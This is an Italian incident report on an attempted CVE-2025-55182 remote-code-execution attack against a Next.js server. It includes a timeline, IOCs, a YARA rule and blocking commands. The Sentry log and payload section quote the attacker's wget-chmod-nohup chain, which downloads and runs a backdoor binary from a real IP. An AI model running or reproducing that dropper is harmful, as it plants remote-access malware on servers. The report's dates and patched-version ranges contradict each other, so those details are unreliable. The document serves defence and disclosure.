CVE-2025-55182 Analisi dell'Attacco: RCE nei React Server Components
Analisi di un attacco reale su un'applicazione Next.js in produzione
📋 Indice
Sommario Esecutivo
Il 5 dicembre 2025, la nostra applicazione Next.js in produzione è stata presa di mira da aggressori che sfruttavano CVE-2025-55182 (React2Shell), una vulnerabilità critica di Remote Code Execution nei React Server Components. L'attacco ha tentato di scaricare ed eseguire un trojan backdoor Linux sul nostro server.
| Attributo | Valore |
|---|
| ID CVE | CVE-2025-55182 |
| Punteggio CVSS | 9.8 (Critico) |
| Data dell'Attacco | 5 dicembre 2025 |
| Esito dell'Attacco | ✅ Bloccato (post-patch) |
| Tipo di Malware | Trojan Backdoor Linux |
| Stack Coinvolto | Next.js + React Server Components |
Panoramica della Vulnerabilità
Cos'è CVE-2025-55182?
CVE-2025-55182, nota anche come "React2Shell", è una vulnerabilità critica di Remote Code Execution (RCE) che colpisce i React Server Components (RSC) in:
- React: versioni 19.0.0 - 19.2.1
- Next.js: versioni 15.x e 16.x (prima delle patch)
Causa Principale
La vulnerabilità risiede nella funzione renderToReadableStream() all'interno del Flight Server di React. Quando elabora payload RSC appositamente predisposti, il server non riesce a sanificare correttamente determinati input, portando all'esecuzione arbitraria di codice.
Vettore d'Attacco
Attaccante → Payload RSC malevolo → Flight Server → eval() → RCE
L'attaccante invia una richiesta POST costruita con un payload serializzato malevolo che viene deserializzato ed eseguito sul server.
Cronologia dell'Attacco
Fase 1: Tentativi Iniziali di Sfruttamento (Pre-Patch)
| Timestamp (UTC) | Evento |
|---|
| 5 dic, 06:20 | Primo attacco rilevato tramite Sentry |
| 5 dic, 06:20 | Il payload tenta di eseguire comandi shell |
| 5 dic, 06:20 | Attacco parzialmente riuscito (pre-patch) |
Log Errore Sentry (Pre-Patch):
Error: root
at eval (eval at <anonymous>, <anonymous>:3:6)
at nk (chunk.js)
at JSON.parse (<anonymous>)
at n5 (/app/node_modules/next/dist/server/app-render.js)
Fase 2: Distribuzione della Patch
| Timestamp | Azione |
|---|
| 4 dic, 14:13 | Aggiornato a Next.js 16.0.7 |
| 4 dic, 14:13 | Distribuita versione con patch (v1.0.0-beta-4) |
Fase 3: Attacco Bloccato Post-Patch
| Timestamp (UTC) | Evento |
|---|
| 5 dic, 08:48 | Tentativo di attacco rilevato |
| 5 dic, 08:48 | Esecuzione del payload BLOCCATA |
| 5 dic, 08:48 | Errore: syntax error: unexpected ";" |
Log Errore Sentry (Post-Patch):
Error: Command failed: wget http://45.76.155.14/vim -O /tmp/vim ;
chmod +x /tmp/vim ; nohup /tmp/vim > /dev/null 2>&1 & ; rm -f /tmp/vim
/bin/sh: syntax error: unexpected ";"
La patch ha impedito con successo l'esecuzione del comando malevolo.
Analisi Tecnica
Dettagli della Richiesta di Attacco
| Attributo | Valore |
|---|
| URL di Destinazione | https://[REDATTO]/ |
Analisi del Payload
L'attaccante ha tentato di eseguire la seguente catena di comandi:
wget http://45.76.155.14/vim -O /tmp/vim ; \
chmod +x /tmp/vim ; \
nohup /tmp/vim > /dev/null 2>&1 & ; \
rm -f /tmp/vim
Scomposizione:
Ambiente del Server
| Componente | Versione |
|---|
| SO | Alpine Linux 3.23.0 |
| Runtime | Node.js v20.19.6 |
| Framework | Next.js 16.0.7 (con patch) |
Analisi del Malware
Risultati VirusTotal
Tasso di Rilevamento: 13/72 (18%)
Link VirusTotal: Visualizza Analisi
Analisi del Binario
Intestazione ELF:
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0200 3e00 0100 0000 60e7 4500 0000 0000 ..>.....`.E.....
Capacità Identificate:
Stringhe Estratte (Rilevanti):
crypto/aes
crypto/tls
net/http
socks5
vendor/golang.org/x/crypto/chacha20poly1305
vendor/golang.org/x/net/http2/hpack
Regole IDS Attivate
| Severità | Regola | Fonte |
|---|
| BASSA | ET POLICY HTTP traffic on port 443 (POST) | Proofpoint ET Open |
| BASSA | ET DNS Query for .cc TLD | Proofpoint ET Open |
Classificazione del Malware
Tipo: Trojan Backdoor Linux
Capacità:
- Accesso remoto alla shell
- Comunicazione Command & Control (C2)
- Upload/download di file
- Comunicazioni crittografate
- Tunneling del traffico tramite SOCKS5
- Meccanismi di persistenza
Indicatori di Compromissione (IOC)
IOC di Rete
IOC File
IOC Comportamentali
Regola YARA
rule CVE_2025_55182_Backdoor {
meta:
description = "Rileva backdoor distribuita tramite CVE-2025-55182"
author = "Ricercatore di Sicurezza"
date = "2025-12-05"
hash = "0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce"
strings:
$elf = { 7F 45 4C 46 }
$go1 = "vendor/golang.org/x/crypto" ascii
$go2 = "vendor/golang.org/x/net" ascii
$net1 = "net/http" ascii
$net2 = "socks5" ascii
$crypto1 = "crypto/tls" ascii
$crypto2 = "chacha20poly1305" ascii
condition:
$elf at 0 and
(2 of ($go*)) and
(1 of ($net*)) and
(1 of ($crypto*))
}
Mitigazione e Risposta
Rapporto di Abuso
Un rapporto di abuso è stato inviato a Vultr (il provider di hosting del server C2) il 5 dicembre 2025 contenente:
- Indirizzo IP e URL malevoli
- Hash SHA256 del malware
- Link all'analisi VirusTotal
- Descrizione del vettore d'attacco (CVE-2025-55182)
Versioni Patchate
| Pacchetto | Vulnerabile | Patchato |
|---|
| Next.js | < 15.3.3, < 16.0.5 | ≥ 15.3.3, ≥ 16.0.5 |
| React | 19.0.0 - 19.1.0 | ≥ 19.2.1 (Giugno 2025+) |
Mitigazioni Raccomandate
1. Aggiornare immediatamente:
2. Bloccare IP malevolo:
# iptables
sudo iptables -A INPUT -s 45.76.155.14 -j DROP
sudo iptables -A OUTPUT -d 45.76.155.14 -j DROP
# UFW
sudo ufw deny from 45.76.155.14
sudo ufw deny to 45.76.155.14
3. Monitorare gli IOC:
# Cercare file sospetti
find /tmp -type f -executable 2>/dev/null
# Cercare processi sospetti
ps aux | grep -E "(vim|/tmp/)"
# Controllare connessioni di rete
netstat -an | grep "45.76.155.14"
4. Ruotare tutti i segreti:
- Credenziali del database
- Segreti JWT
- Chiavi API
- Segreti di sessione
Lezioni Apprese
Cosa è Andato Bene
- Il monitoraggio Sentry ha rilevato immediatamente l'attacco
- Rapida distribuzione della patch entro ore dalla divulgazione della CVE
- La containerizzazione Docker ha limitato il raggio d'esplosione
- La protezione post-patch ha bloccato con successo gli attacchi successivi
Cosa Potrebbe Essere Migliorato
- Patch più rapide - Ridurre il tempo tra divulgazione della CVE e applicazione della patch
- Regole WAF - Aggiungere regole per rilevare tentativi di sfruttamento degli RSC
- Filtraggio del traffico in uscita - Bloccare connessioni esterne verso IP sconosciuti
- Avvisi automatizzati - Impostare avvisi per comandi shell sospetti
Raccomandazioni di Sicurezza
Riferimenti
Avvisi Ufficiali
Risorse di Analisi
Strumenti Utilizzati
Disclaimer
Questo report è pubblicato a scopo educativo e difensivo. Il binario del malware non è incluso in questo repository. I ricercatori di sicurezza possono ottenere il campione tramite VirusTotal utilizzando l'hash SHA256 fornito.
Autore
Pubblicato: 5 dicembre 2025
Contatto: [Le tue informazioni di contatto o profilo GitHub]
Licenza
Questa analisi è rilasciata sotto CC BY 4.0. Sei libero di condividere e adattare questo materiale con la dovuta attribuzione.
Changelog
| Data | Versione | Modifiche |
|---|
| 2025-12-05 | 1.0 | Pubblicazione iniziale |